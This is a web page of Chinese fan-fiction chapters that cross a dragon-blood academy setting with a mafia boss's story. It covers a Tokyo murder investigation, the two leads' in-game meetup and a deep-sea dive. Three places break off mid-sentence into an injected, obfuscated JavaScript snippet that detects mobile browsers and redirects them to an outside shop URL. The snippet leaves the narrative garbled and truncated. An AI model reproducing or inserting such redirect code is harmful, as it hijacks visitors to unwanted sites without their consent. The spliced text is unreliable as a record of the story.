不过阿武很快就乐呵呵表示不知为何让他想起了倒塌的开普敦棒球中心——那会儿好不容易有时间去看一场棒球赛,结果激动等候入场时却目睹神圣的棒球场被整个炸平,比赛不得不另改时间——当时他还想着有朝一日要找到肇事者好好算账呢哈哈哈哈哈…… 雨守的笑容天然和煦,不知为何却看得年轻首领心底阵阵发凉。 “唔,剖婴案的凶手就是死侍,当时负责动手处决的是我一个师兄…呃、”艾莎目光游移,“他行事风格比较果决……” “嗨、嗨,你们狮心会出来的都是杀胚嘛,”大师兄很没眼力劲地继续揭老底,“爆血自残不怕死那都是常规操作,要我说是从校长那代起就没开个好头。” 艾莎咬咬嘴唇,大概是不知道怎么反驳。沢田心里却微微一动,觉得这番话别有深意。 从刚刚起他就一直在引导谈话,几个话题看似随意却彼此勾连,似乎在暗示些什么。 “如果作案的是死侍,那你们的目标就要再次变更,”大师兄这时语气一肃,“原来只用回收丢失的Theseus-44号,现在还得加上处决犯案者。” “嗯,知道了,”艾莎简单应了一声,感到心头的疑云不退反增,“可还是不对——这死者到底是谁?和蛇岐八家有关系么?” “现在尸检报告还没出。车主是六沼雅人,职业是某个证券公司的中层管理——目前无车辆报失记录…无犯罪不良前科…信用卡的消费集中在各类高档餐厅、酒店和其他娱乐场所……嗯,都是工作日。” 大师兄那边“噼里啪啦”一阵键盘响动,大概是又入侵了什么档案系统。 “听起来像个成天无所事事的富二代。”艾莎评价道。和混血种八竿子打不着边。 她与沢田对视一眼,从彼此眼中寻到了相同的困惑。 他们来这里本是为了调查樱井七海的遇刺事件。可惨死在现场的却仿佛是与之毫无关联的人——在这场刺杀中,这个人究竟扮演了怎样的角色? 行凶者又为什么放过了樱井七海,反而对他痛下杀手? 接着,他们又分头勘探了一遍现场。在艾莎检查樱井七海乘坐的那辆劳斯莱斯幻影时,沢田纲吉则又绕回到了那辆红色的保时捷。 尽管经过鉴识课的回收清理,驾驶座内却依然残留着让人不适的、浓重的血腥味。有大量肉沫飞溅到一旁的副驾驶座,他的目光在那些深浅不一的锈色痕迹上停留片刻,突然落到半关的副驾驶车门上。 他微微眯了眯眼,脑中莫名闪现过一些残破的片段:呆滞的呼吸、尖叫求救、仓皇打开的车门…… 这其实很像是名为“侧写”的犯罪心理学应用:利用现场残留的信息、在脑中还原当时的情景。卡塞尔学院就有人精于此道。 虽然他从未系统地学习过相关的理论知识,但侧写本来就更需要一些与生俱来的天赋——比如细致入微的观察力、异于常人的共情能力、以及敏锐的直觉。 沢田纲吉慢慢走到保时捷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658843|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一侧。地面非常干净,他蹲下触碰一下,触感潮湿。东京不久前才下过一场大雨。 他偏过头,望向了另一边的无人巷道。 迈步进入的时候,耳边似乎响起了绝望的喘息;某种深入骨髓的绝望正追赶着某个人。他转过头,在一旁的墙面发现了半个猩红的掌印。 又大概走了五十米,沢田纲吉突然停住了脚步。 右侧角落有一个颜色暗沉的大型铁皮箱,大概是从前用于集中垃圾,看上去已经废弃许久。 箱顶的盖子微微偏移,残留着可疑的斑驳痕迹,似乎在近期才被人打开过。 他抿抿唇,心里做好了最糟糕的准备;他几乎没有犹豫,在确认一下手套完好后,便上前掀开了盖子。 ——里面没有尸体。只有一件皱巴巴的西装外套。 外套的不远处静静躺着一朵白色的马蹄莲。 尚能看出根茎经过精心修剪和包裹,是可以正好卡在西装扣眼的大小。 花瓣素净洁白地托着花蕊,也盛着一点点血沫。 几近干涸,罪恶醒目。 -- 随着沢田找到的胸花与西服外套,案件似乎真如那名叫犬养的警察所猜测的那样,与上个月的“刺猬新郎案”产生了联系。 在得知案件或许还有活着的目击者后,艾莎的大师兄让他们先原地待命等他消息。 然而离开警戒线走了没几步,艾莎就突然停下了。 她咬咬嘴唇,有些焦躁的样子,“果然、我还是觉得有哪里不太对劲。” 他静静道,“艾莎也是么?” “纲吉君也是么?”她有点惊讶地看着他。 “该怎么说呢……”沢田纲吉露出一个苦笑,“有种一直被人牵着鼻子走的感觉。” “我也一样。我们最初明明是在追查Theseus-44号,结果却被牵扯进樱井七海的遇袭事件。”艾莎低声道,“调查樱井七海的遇袭事件,却又发现了一起死侍凶杀案……怎么想都很奇怪。” “艾莎想怎么做?” 女孩思索一阵,然后果断道,“我们先回网吧一趟。我总觉得大师兄今天有点怪,一直话里有话的。” 又想到男人说的那些事情,沢田纲吉叹了口气,一时之间没能忍住,“因为他一直说去年你在北美爆血的事么?” 他语气淡淡的,听不出喜怒,又好像有点责问的意味。这恰恰精准“踩”住她的“尾巴”,有一瞬间,她就像受惊的猫咪炸了毛一样。 “你别听他们胡说,”艾莎低声道,“爆血的副作用没那么大,我现在不是好好的么。” 然而刚说完她就后悔了。因为这话让她听起来活像个已经走上绝路还不肯回头的瘾君子…… 果不其然,沢田也没有半点退让的意思:“那么当时呢?” 他紧皱着眉,目光沉沉地盯着她。脑海里浮现出的是她当初在船上毫不犹豫割开自己手腕的样子。 女孩的嘴唇翕动一下,但很快就又紧紧抿住。 “……当时我不是因为爆血才受伤的。”半晌后,她突然小声纠正道。 “爆血是危险的技术,会让人上瘾,把血统逼到不稳定的地步。可血统的纯化也能瞬间活化细胞、关键时候可以救命。” “当时任务情报出错,我一时大意、被人偷袭,结果受了很重的伤,就快死了。” “快要死了……但是还不想死。所以才爆血的。” 她盯着他这么说道,紧紧地盯着。目光不再回避,反而很坦然,坦然而灼灼,如同注视着因果。 “纲吉君明白我的意思了么?”她近乎赌气地问。 “……” 这一回,总算轮到沢田纲吉目光闪躲了。 85. 番外 东京面基 22.前情提要 (大约18个月以前的)上回书说到:艾莎跟随恺师兄楚师兄二师兄三人奔赴东京,受到了日本分部的热情款待。源稚生执行官亲自迎接,神奈川县警察带头助兴,接机场面充满了鸟语花香欢声笑语。 此时恰逢艾莎玩的游戏举办线下活动。二师兄狂奶她会在活动现场邂逅游戏里的结婚兼暗恋对象TUNA,艾莎不以为然。 然而,去到现场后,她果真被选为体验双人副本的幸运玩家之一,并与一褐发青年狭路相逢…… 23.队友 艾莎客气地朝青年笑笑,对方也客气地朝她笑笑。两个人都没有过度交谈的意思,连自我介绍都省去,齐刷刷往官方准备的主机那边走。 游戏体验使用的是准备好的系统账号,各个种族职业都有,供玩家自由选择。 艾莎想了想,选了人类族的圣骑士。虽说在输出方面比不上巨人族,但生存能力强,能抗能自奶能输出,双人副本也有单刷可能。 褐发青年站在她对面,也是没怎么犹豫就选好了角色。 进入游戏,两个人类圣骑士面面相觑。 艾莎:“……” 褐发青年:“……” 哦豁,两个独行侠。 他们不禁又对视一眼。 褐发青年朝她笑笑,艾莎也朝褐发青年笑笑,像在说,“原来你也社恐啊”。 其实早该发现了。 ——从见面开始到现在,差不多8分钟过去了,这两个家伙还没有朝对方说过一句话。 24.第一次交谈 副本一开始推得很快。他们虽然没有交流,但总有种诡异的默契。青年刚用嘲讽技能把小怪聚拢,艾莎就抡着大剑直接上了,手中武器舞得那叫一个虎虎生威。爆发接着aoe一轮带走,她只少了四分之一管血。 艾莎磕了瓶血药,这时才发现临时队友目标在她身上……圣骑士只有一个大心脏群奶,用在这浪费了吧? 她狐疑地望向青年。他也正看着她,似乎一眼就明白她在想什么。 “…我之前玩的是医疗师,”青年有点不好意思的样子,“抱歉,忘记现在没有奶技能了。” 医疗师…那不就和旦那一个职业么? 艾莎生出点亲近感,大喇喇点头说:“我懂我懂。我刚刚冲进怪堆发现掉血,也不大适应——我原本玩的狂战士。” 游戏中,狂战士有堪称作弊的7秒无敌加爆发,副作用是之后防御减半,非得靠大奶减伤才行。以前艾莎常凭此技能进怪堆里浪,有TUNA在时格外嚣张,他的大招总是为她备好。 褐发青年听了笑笑,说在游戏里也有一个狂战士朋友。 “喔,好巧。”艾莎眨眨眼,“旦…我队友就是医疗师。” 青年一愣,半晌后才赞同,“是很巧。” 他眼中飞快的闪过一丝犹疑。艾莎浑然不觉,提议道:“之后如果卡关,我们就换成原本熟悉的职业吧。”现在获取更多情报才是最重要的! 他点了点头,轻声说“好”。 25.掉马 需要特别说明的是,虽说游戏里的种族与职业没有特定关系,但根据奇幻设定的刻板印象与受欢迎程度,也延伸出了不少默认配置。 譬如说到狂战士就是恶魔族;提起医疗师就是人类或者精灵。 矮人族多半是生活玩家,至于巨人族……外形原因,会选择巨人族的屈指可数,巨人族狂战士更是反骨中的反骨——毕竟不是所有人都有自信能找到一个脾气好到愿意撒开丫子狂奔追着你奶的奶妈。 说回到现实,他们在第3个Boss处卡关,试了几次但确实扛不住伤害。于是双双切号。 艾莎不假思索地换回了熟悉的体型和职业。褐发青年似乎是犹豫了一下,稍微晚了一步。 重新登入游戏,顶天立地的女巨人与肥肥软软的矮人面面相觑。 艾莎:“……” 褐发青年:“……” 艾莎:“…好巧,我队友玩的也是矮人。” 褐发青年:“…嗯,好巧,我朋友也是巨人族。” 一个相当古怪的对视。然而,注视着彼此那再现充不过的现充脸,他们又尴尬地互相笑笑,双双把注意力集中到了正事——也就是游戏上。 重新进本,Boss机制已是驾轻就熟。艾莎磨刀霍霍,一抬眼发现脑门上忽然多出一颗小星星。 艾莎:“…………” 脑中电光石火一般,她手一抖,巨人棒槌一棒挥到脚边,惊起尘土一片。Boss发出尖啸,巨人一动不动。 褐发青年奶了几口发现不对劲,福至心灵地抬眼,正撞上女孩呆呆的目光。 艾莎颤巍巍的:“旦、旦那……?” 沢田纲吉:“…………” 事实证明,同样的游戏里的调侃称呼,从聊天框里冒出来和从现实中素未谋面的黑发美少女嘴巴里听到根本不是一个量级。 他手一抖,没及时清仇恨。游戏里一动不动的矮人和巨人瞬间被Boss一剑穿了个对穿,失误画面极具视觉冲击,台上的主持人兴奋地称他们为“一串不怎么好吃的提灯串”。 26.称呼 “…你才提灯串你全家提灯串啊!”艾莎率先反应过来,操纵着皮糙肉厚的巨人迎上了下一波攻击,高大角色的阴影把小小的矮人族覆盖了个干净,“旦那!” 不用她多说,凭借着多年夫妻(?)的默契,沢田纲吉立即跟上,一波大把血线拉了回来。之后Boss战重回正轨,有条不紊地进行下去……表面上是这样的。 “……” 艾莎边输出边忍不住偷偷观察对面的褐发青年:应该和她差不多大,是东洋人的长相…和象龟一样是日本人吧?但是,眼神完全不一样,看起来好温柔啊…… 看着看着,她忽地眼观鼻鼻观心,也不知道为什么,就是莫名其妙觉得不可以再看了。游戏里的音效在耳边涨大,变成一连串上扬的粉红色泡泡,被收缩的心脏吞吃掉了。 心情像一口气吃了一百颗棉花糖……这种时候应该担心蛀牙吧? 她胡思乱想着,对面的青年却仍是专注于游戏,面容沉静;过了一会儿,他轻咳一声提醒: “小心三阶段的点名,斩铁剑さん……ちゃん……さん。” 沢田纲吉面露纠结,握着手柄的手微不可查地收紧。再看对面的女孩——他还是很难将她与游戏里结下友谊的‘芝加哥斩铁剑’对应上,但女孩娴熟的操作与屏幕里痛扁Boss的巨人无疑在这点上帮了忙——听到提醒,她一脸淡定地点点头,专心致志盯着屏幕,仿佛完全没受到突然面基的影响……相比起来,还在纠结称呼的他实在是太不像样了。 “……” 五感失灵,艾莎完全没注意到对面投来的视线。她的头越来越低,手机械地操作着。 此刻的她被一种全然陌生的情感操控着,内心的小人满地打滚: ——天呐,他连声音都好好听!比浪川大辅还好听! 27.心理建设 新副本体验结束,两人回到喧闹的主会场,手里各自捧着官方赠送的纪念礼品。 “真没想到,会在这里碰到旦那。”艾莎说,“这世上的巧合真是可怕。” 这句感慨立即得到了褐发青年的苦笑与赞同。 “斩铁剑さん……”他顿了顿,“怎么认出我的?” “嗯……其实一开始就有点怀疑了,操作和走位都有种熟悉的感觉;看到矮人医疗师的时候真是吓了一跳,但又觉得不可能。”艾莎也一顿,不好意思地挠挠脑袋,“看到小星星才确定的。” “小星星?”沢田纲吉一愣,然后反应过来,她说的是组队时的标记。 他顿时哭笑不得,“这是很多人都有的习惯吧。” “欸,真的么?”艾莎抬头看他。然而,在对视的瞬间,他就移开了目光。 “…是、是的吧?”沢田纲吉自己也不确定起来。 “噢,这样啊……”艾莎垂眸,但很快又想到,“那不是超厉害么——连这样都可以遇见!简直可以称得上是奇迹了吧?” 她用词堪称教科书般的“外国人看动漫学日语”风格(简称中二),与游戏里的“芝加哥斩铁剑”如出一辙……果然是斩铁剑さん吧。 沢田纲吉稍稍松懈了点,并开始自我反思:就算突然发现游戏里一起黑装备的结婚对象是女孩,也不该改变他们之间全然纯洁的友谊——这可是斩铁剑さん啊,他决意珍惜的普通人朋友,生死与共的巨人同伴,抡锤的战士、雪山的征服者。她撒开丫子跑下山坡的时候野怪都会纷纷避让,她口中的“旦那”是“老板”或者“先生”的意思,绝非世俗意义上的“丈夫”…… “机会难得,旦那要在会场逛逛么?官方送了不少体验券欸。”女孩清越的嗓音将他拉回到现实。 沢田纲吉对上她亮晶晶的眼眸,正气凛然地点了点头。 28.卧龙凤雏 既然是面基,话题不可避免的涉及到现实状况。 “旦那是日本人么?” “嗯,不过因为工作原因,所以不常在国内待。” “欸,你看起来和我差不多大,原来已经工作了么?” “哈哈,我进社会比较早……斩铁剑さん是在日本留学么?” “啊…学校是在美国,不过这学期忽然有一个实习机会,就跑来日本这边啦。哈哈哈……” 两个人都一阵干笑,各怀鬼胎,话题像甩进酒杯里的青梅一样浮浮沉沉。于是一段时间之后: 艾莎:原来旦那的工作是海产养殖,产业链遍布全球,从西西里到东京再到撒哈拉沙漠……好厉害!和她完全不一样! 沢田纲吉:斩铁剑さん竟然是古生物研究专业——那些上不了游戏的日子就是在无数荒郊野岭勤恳挖掘耐心钻研吧……好厉害!和他完全不一样! 这样真好。 两个人不约而同地想道。 ——我的一个普通人朋友! 29.八卦 他们在打扮各异的coser与玩家之间穿行——几乎每个人脸上都带着狂热的梦幻表情——一下子真像是来到了游戏世界。 会馆里很吵,两个人不得不大声说话、或是被迫挤在一起,在这种氛围中,陌生人初照面的生疏很快消弭。 会馆的餐饮区一比一复刻了游戏中的热门地点“爱坡特酒吧”。这是玩家平时线上交易与社交的场所,搬到现实里,终于具备了吃饭用途。 人满为患。TUNA主动提出去排队,艾莎就负责抢占座位。她眼疾手快占据一个双人座,再看弯弯绕绕的队伍末尾,只能勉强看见TUNA的一点点褐色发尖。她就朝着那边挥挥手,也不晓得他看没看到。 左右等的无聊,她掏出手机,给二师兄发消息。 【芝加哥斩铁剑】:见到TUNA了。 几乎是立刻,手机传来震动。 【二师兄】:!!!!! 一个感叹号激起一层浪。 【二师兄】:什么,你见到金枪鱼了?怎么样啊,是条好鱼么?不对,你确定是金枪鱼本鱼么?不会是冒充的吧?真有这么巧的事儿? 隔着屏幕也能感受到二师兄散发出的浓浓八婆味道,四行字不过眨眼之间,阿宅手速恐怖如斯。 艾莎老老实实打字:“不是冒充的。” 【二师兄】:天定姻缘啊! 艾莎:“……” 又过一会儿,二师兄暗搓搓的:“欸,那人怎么样啊?” 她微微蹙眉,觉得被问了一个很难回答的问题。先是打“很好”,然后删掉;再打“长得很帅”,再删掉;又打“比二师兄长得高,目测也比楚师兄高”,还是删掉。 期间二师兄一声不吭,俨然是在屏幕那头紧张激动的屏息等待。 最后,【芝加哥斩铁剑】:看起来果然是很温柔的人。 【二师兄】:这话要是放在日漫里将是绝杀啊! 【二师兄】:但在现实里听像渣男。 艾莎:“……”按理说她该嗤之以鼻,但二师兄在这方面懂的比她多——背地里大师兄都管他叫“言情教教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658844|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主”。于是她很谨慎地打字。 【芝加哥斩铁剑】:为什么? 二师兄那边迟迟不答。时间越等越长,这回抱着手机紧张屏息的变成艾莎了。 【二师兄】:没什么没什么我瞎说的。 【二师兄】:小师妹你陷得不浅哪! 艾莎登时张牙舞爪:“二师兄你胡说八道!我们只是朋友啊喂!相互黑材料的那种!” 那边二师兄恨铁不成钢,巴掌拍得膝盖piapia响。 【二师兄】:你不是看过火影忍者么?我和你说你要提高警惕啊!人日本人的朋友那都不叫朋友,叫‘偷摸打鸡’! “……” 艾莎无言以对。二师兄继续忧心忡忡;“那你今晚还回来么?你得回来啊!小心校长查你岗!” 他的话有80%属于老妈子式的关切与恐吓,间接夹杂“这个人人两情相悦的世界还是爆炸吧!”的嫉妒。 但艾莎看不出来,只觉得他的烂话一筐接一筐——说起来,这个世界上真存在能和二师兄对槽而不落败之人么?二师兄堪称槽王之王槽穿肠。 【芝加哥斩铁剑】:不说了,我马上就回来!我不看手机了! 静音加卸载app,二师兄的忠言全被封印在熄灭的小盒子里。 艾莎重新抬起头,这回终于在队伍里看到了TUNA的身影。 她就又朝他挥挥手,示意自己占到了座位。顶着周围一众宅男杀人似的目光,褐发青年也朝她挥了挥手,笑容稍微有点无奈和苦恼,但也难得的很轻松。 30.第二次心理建设 排队的时候,沢田纲吉继续给自己做心理建设: 眼下这情形绝非约会,而是他和他的好伙伴斩铁剑さん的聚餐。虽说他的确是打算请客,但纯粹是因为游戏里承蒙她照顾——表面上是结婚对象,但实则是他生死与共的巨人同伴,抡锤的战士、雪山的征服者…… “可恶,带女朋友来逛展的人生赢家去死去死啊……” 身后有人小声嘀咕。 沢田纲吉置若罔闻,径自到吧台点单;准备付款时余光扫到收银台前挂着的小件游戏周边,他忽然一愣,被一种奇异的心情驱动。 31.插曲 最后变成了相当尽兴的一天。看了周年庆典的节目、又把每个摊位都逛了一遍,居然就到了晚餐时间。是去隔壁商场吃的定食,期间对Naruto的战力问题进行了一番严肃认真的讨论。 天色越来越晚,离别时间将近,没想到末尾又遇到一点小插曲。 坐上商场的景观电梯,在下一层涌进许多人,似乎是小半个韩国夕阳红旅行团。艾莎和沢田纲吉被人潮推到了电梯最里面。 他注意到她几乎是贴着玻璃站立,于是悄悄侧身让出点位置。她立即挪到他旁边。 电梯继续下行,但忽然在楼层之间停住,灯光闪了两下后熄灭,一片哗然。 “大家请安静!很快、很快!”电梯最前方、像是向导一样的人用韩语安抚,随即按下电梯里的警铃,那头立即就有管理员响应。 “好像已经在安排紧急维修了。”沢田纲吉侧耳聆听对讲机那头的动静。 艾莎也在听,“嗯…很多人在往这边跑——我是说,大概。” 他们对视一眼。被迫和一群陌生人挤在停滞的电梯里并不算什么美好的体验。 “被困住了啊。”艾莎小声说——顺带一提,这是可以徒手扒开电梯顶门,chuachuachua爬出去的人。 “被困住了呐。”沢田纲吉苦笑着附和——顺带一提,这是可以一拳打碎景观玻璃,xiuxiuxiu飞到半空中去的人。 旅行团渐渐安静,狭窄的空间忽然没什么人说话,于是他们也不再说话了;各自掏出手机开始玩,手臂隔着薄薄的衣袖相贴,两个人都假装若无其事。他嗅到一股淡淡的香气,无花果和椰子的味道。 32.AirportBar 救援比想象中慢一点,眼下也不是适合聊天的场合,艾莎干脆戴上耳机开始听歌。随机播放到某一首时,无意中看到歌名,她悄悄扯扯旁边的褐发青年,和他分享自己的发现。 ——AirportBar,歌手:Noah。 TUNA眼神茫然,似乎没反应过来。 现在不方便说话,她就切到备忘录打字。 【和游戏里的“爱坡特酒吧”同名诶!】 ……所以是因为想到游戏么? 沢田纲吉哭笑不得,同时又想:真不愧是斩铁剑さん,他生死与共的巨人同伴,抡锤的—— 第三次心理建设被她递来的手机屏打断,正中写着: 【还挺好听的,旦那要听么?】 ……欸? 沢田纲吉看看女孩脑袋上的轻便型头戴式耳机,暗暗唾弃自己脑中一瞬间冒出来的两人共用有线耳机的场景。 原本拒绝的话语就这样噎在嘴边。 最后他点点头。 艾莎就摘下耳机递过去。 沢田纲吉本来想象的是游戏BGM那样轻快的大冒险风格,实际听到的却是悠扬的蓝调。耳机的降噪效果好得出奇,把世界都隔开了。 他一愣。女孩无声地朝他笑笑,像在问“好听吧?”,然后就继续低头摆弄手机。惨白的屏幕光打在她脸上,浮现出一层空寂的蓝色。 沢田纲吉心里微微一动,忽然想和她说些什么;但是被女孩身后骤然亮起的城市灯光打断了。 他转过头,看到路灯一盏盏亮起,昏暗的尽头糅着橘黄色的光晕,直到变成浮动的光点。并不知道那光要走到什么地方去。 女孩被同样的景象吸引。她侧过脸,顿时被浑浊的光影笼罩,似乎有一抹耀目的金色在她眼底跳跃。 玻璃窗外的万家灯火,又仿佛是熊熊燃烧的灯烛。 沢田纲吉突然一阵惶惑。耳边曲声依旧,歌手寂寞地喃喃: ewithme.” “Andyou’llbeinaworldofpureimagination……” 86. 番外 东京面基 33.后续 “然后呢?” “…什么然后?”艾莎一愣。 “你们就这么在商场楼下分道扬镳了?”二师兄猥琐地摸着下巴并发出“啧啧”声,“这不符合恋爱喜剧的基本调性啊——要我说金枪鱼好歹也买个游戏周边送你!” 艾莎听完死鱼眼:“就这么结束了还真是不好意思。” “连个名字都没说?他们日本人不是都喜欢一见面就鞠躬递名片的么?”二师兄意犹未尽。 “知道游戏昵称就足够了。顺带一提无论是line还是wechat我们都没交换因为反正游戏里面就可以联系了!”她赶在二师兄开口前一口气道。 二师兄扼腕叹息。 “…如果这是一部恋爱小说,你们一定到80章都没有在一起。然后作者沉迷打游戏,这本书就太/监了。”然后他看了看她,不知为何又安慰道,“或许他真的买了,只是没好意思送你。” 艾莎:“……” 她天真无邪地抬起头: “二师兄,他们为什么管你叫‘西门总二’啊?” 路明非顿时捂脸,发出一声很像狗叫的惨嚎: “小师妹你转移话题转得忒生硬!” 34.绰号 艾莎说的是面基回来以后,被迫目睹恺师兄楚师兄二师兄和源稚生端着酒杯一字排开的场景——诚然当时充作背景的东京夜景美不胜收,衬得男人们也依稀是萌生了什么诡异的友情——又或者他们只是单纯的神经病。 总之等她回来的时候,正好看到恺师兄大手一挥,以君临天下的气势表示自己“定是道明寺”,路小弟十分狗腿地捧臭脚,说“老大富可敌国此角那是当仁不让……”说到最后那小眼神儿荧光闪烁,好像又有点言不由衷的意思。 好歹艾莎也是个见识过美式party的大学生,一看这阵仗就知道是喝大了。 她与低调藏身在暗处的樱对视一眼,后者礼貌而不失尴尬地表示这四子是在玩经典少女漫画《花样○子》的cosplay,至于事情到底是怎么发展成这样的那这真的很难解释。 一看她来,二师兄一蹦三尺高,有如村干部慰问邻里般握着她的双手进行亲切的嘘寒问暖,最后说: “小师妹他们说我是‘西门总二’!啊哈哈哈哈哈……”通红的醉眼里颇藏着几分忧郁少男的气息。 然后他载歌载舞起来,看起来真是败犬一条。艾莎看到二师兄藏在暗淡霓虹下的脸,莫名觉得他其实很恐惧。 “今晚就这么结束了么,不如早点回去哭一场睡觉吧!”路明非用半生不熟的日语吼。 此时真正的忧郁花美男——当仁不让的花泽类——楚子航偏头看了他一眼。有时候艾莎觉得楚师兄还是挺关心二师兄的,这大抵就是过过命的交情吧。 四人中唯一面露冤种的是源稚生。继恺明寺楚泽类路门总二之后,留给他的只剩下F4里的美作。要说巧合也是真巧,美作家里还和他一样都是黑/道背景。 但源稚生本人似乎不大乐意和一个爱好□□的漫画角色扯上关系,额角青筋那是一跳一跳,生存在一群傻叉笑脸中央,忍耐的表情很是狰狞。 当恺撒又一次大力拍打起他的肩膀,他口中依稀是喃喃起了“东京塔……全部吊起来……”等字眼。 艾莎觉得源稚生一点都不美作,倒不如说此刻正散发着类似杉菜的不屈气息……好像时刻准备着原地踮脚跳跃然后狠狠给恺师兄一拳,然后恺师…不,恺明寺就会惊讶地捂着脸,一脸“哇哦你这女人竟敢打我”的邪魅表情…… 她的思绪就这么越飘越远。 顺带一提,后来艾莎遇到源稚生他弟,深以为这位才是真·“美作”——上一秒含泪凝睇下一秒就能拔刀杀人,当真是又美又作,美作得无人能出其右。 总之,这就是行动小队执行任务的前夜,涉及一些邂逅、交谈,还有乱七八糟、注定蒙着一层虚幻色彩的友谊,飘在夜空经久不散,宛若东京城五光十色的霓虹。 35.下潜 时间回到现在,迪里雅斯特号向着深海进发。狭窄如电梯间的驾驶舱内,恺撒双手在操作台上熟练操作,他全权负责驾驶深潜器,俨然是小队中的灵魂人物。 舱内剩余的一些按钮开关由楚子航操控。如果这是一艘船只那么他担任的无疑是大副的角色。如果这话被恺撒听到那么他会很满意。 路明非很有废柴自觉,没去打扰上面两位,和艾莎一人占据一个舷窗。 从舷窗向外看,基本什么也看不到。须弥座的灯光越来越远,四周很黑,也听不见水流的流动声。只有大力运转的仪器与其他人的心跳呼吸,让人知道自己的五感还在正常运作。 那感觉很不好。乍一眼仿佛是在黑暗中安静飘浮,等想起来才发现“哇噻他们正往八千米深的海底直直下坠诶!”,路明非觉得心慌,像被舌头拽着一路拎起到嗓子眼。 他觉得现在有必要和小师妹说说话。其实他挺喜欢和小师妹说话的,小师妹人美声甜思维跳跃,特别适合在这种时候一起讲一些胡言乱语。 “外面真‘大只’啊。”艾莎忽然说。 “啥?”路明非一愣。 “听曼施坦因教授说的,”艾莎说,“他说是中文俚语‘安静’的意思,非母语者都不清楚有这个意思;他还鼓励我们有空多深入学习中国文化,就像他一样。” ……有朝一日一定会被曼施坦因暗杀吧? 路明非沉默了;紧接着,脑海里冷不丁冒出一只看起来就很贱的熊猫脸头像……ID是“老唐”。想想也就是一年多以前的事,可现在想起来那么久远,远得让人想骂脏话。 那头像现在还在他列表里躺尸呢。 他缩缩脖子,忽然有了几分下坠的实感。 36.海洋 高强度的射灯照亮了深潜器周围,是楚子航打开了照明。路明非惊讶的发现外面竟然有排成群的小鱼,他以为的死寂中实则生机盎然。 楚子航一板一眼地科普起生物学知识:巴拉巴拉,几亿年前的地球,从海洋里孕育出的最初的微生物,巴拉巴拉,那是一切生命的起源。 “那龙族也是在海中诞生的咯?”路明非问。* “有可能,有过一种观点认为龙族原本是海生种族,最后踏上了陆地。”楚子航说,“所以选择海底当孵化场,对古龙来说就像回到故乡那样吧?”* 37.故乡 然后莫名其妙的,话题一歪,从龙的故乡歪到了他们各自的家乡上。 恺撒暂时脱离繁复的驾驶操作加入对话。全学院的人都知道他一出生就在罗马,但不知为何他大谈的却是波涛菲诺。 他是天生的演说家,这个名声响彻欧洲的度假胜地被他形容得更是魅力非凡,每一缕碧波都闪耀着璀璨的金光。 楚子航正儿八经地陈述了家乡——中国南方一座普普通通的小城——的风土人情。如果写下来,基本就是一篇“你是李雷,请给你的好朋友Jim写一封信,介绍一下自己的家乡。”的优秀范文。 他和路明非一个地方人,所以这期间还夹杂着路式特色的插科打诨。听着听着,艾莎觉得让二师兄来主讲可能更好。 身为一个理科生,楚师兄会详细介绍家乡的区域规划。如果有必要,他多半还能立刻生成一份战斗计划书,分析龙族在城区释放言灵后我方的应对措施一百条巴拉巴拉。 但二师兄会和你说黄昏的筒子楼,放学后蹲在马路牙子旁,那会儿流行的什么什么卡牌游戏。他没钱集卡,就看着别人玩儿,等所有人都走了再回叔叔婶婶家去。要跑得很急才行,因为婶婶不一定高兴给他留饭。 艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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并盛的家人友人尚不知道他回来的消息,因为要处理的事多且杂。这是Mafia首领的工作性质决定的(如果这确确实实算是一份工作的话)——你在西西里会有西西里的顾虑,在东京就会有东京的麻烦。 沢田纲吉检视着手中的邀请函:素白的纸张,在灯下薄如蝉翼,又被遒劲的毛笔字劈开。 “极乐馆”……他默念这个名字,心中并不喜欢它暗暗透露出的疯狂与引诱。 这张邀请函来得蹊跷。昨天他回到酒店,就看到它光明正大地躺在桌上,等询问部下,却没有一个人知道它是何时送达的。有什么人瞒过了家族的“眼”……这在任何情况下都意味着挑衅。 或许这次不该回来吧……? 沢田纲吉轻吐出一口气,手指无意中拂过口袋,触碰到某样东西。猝不及防间,女孩灿烂的笑脸于脑海中浮现。 “……” 他暂时从繁杂的思绪中抽开身,顺势提溜起口袋里的小物件——是一个星星挂坠,昨天在爱坡特酒吧结账时看到的。当时忽然想起她说的“小星星”,鬼使神差就买下了,但没好意思送出去……也幸亏没送出去。 斩铁剑さん…现在在做什么呢? 沢田纲吉看一眼时间,才发现已是深夜了。他苦笑一下,重新将挂坠塞回口袋,瞬间沉底,没发出一点声音。 39.女主角的行踪 深潜器忽然失控。女主角正高速往海底坠落。 不久之后,驾驶舱内的所有人都会开始录口头遗书。 40.前奏 沢田纲吉离开房间,恰好遇到同在基地的夏马尔。 “这个时间还出门啊?”医生挑眉,漫不经心的目光下藏着调侃。 年轻的首领有些尴尬,立刻解释:“只是去透透气。” “去海边怎么样。空气新鲜,也不会碰到醉鬼。”夏马尔懒洋洋地叼着烟建议,没几秒就原形毕露。 “——说不定还能捡到美人鱼。” …什么话? 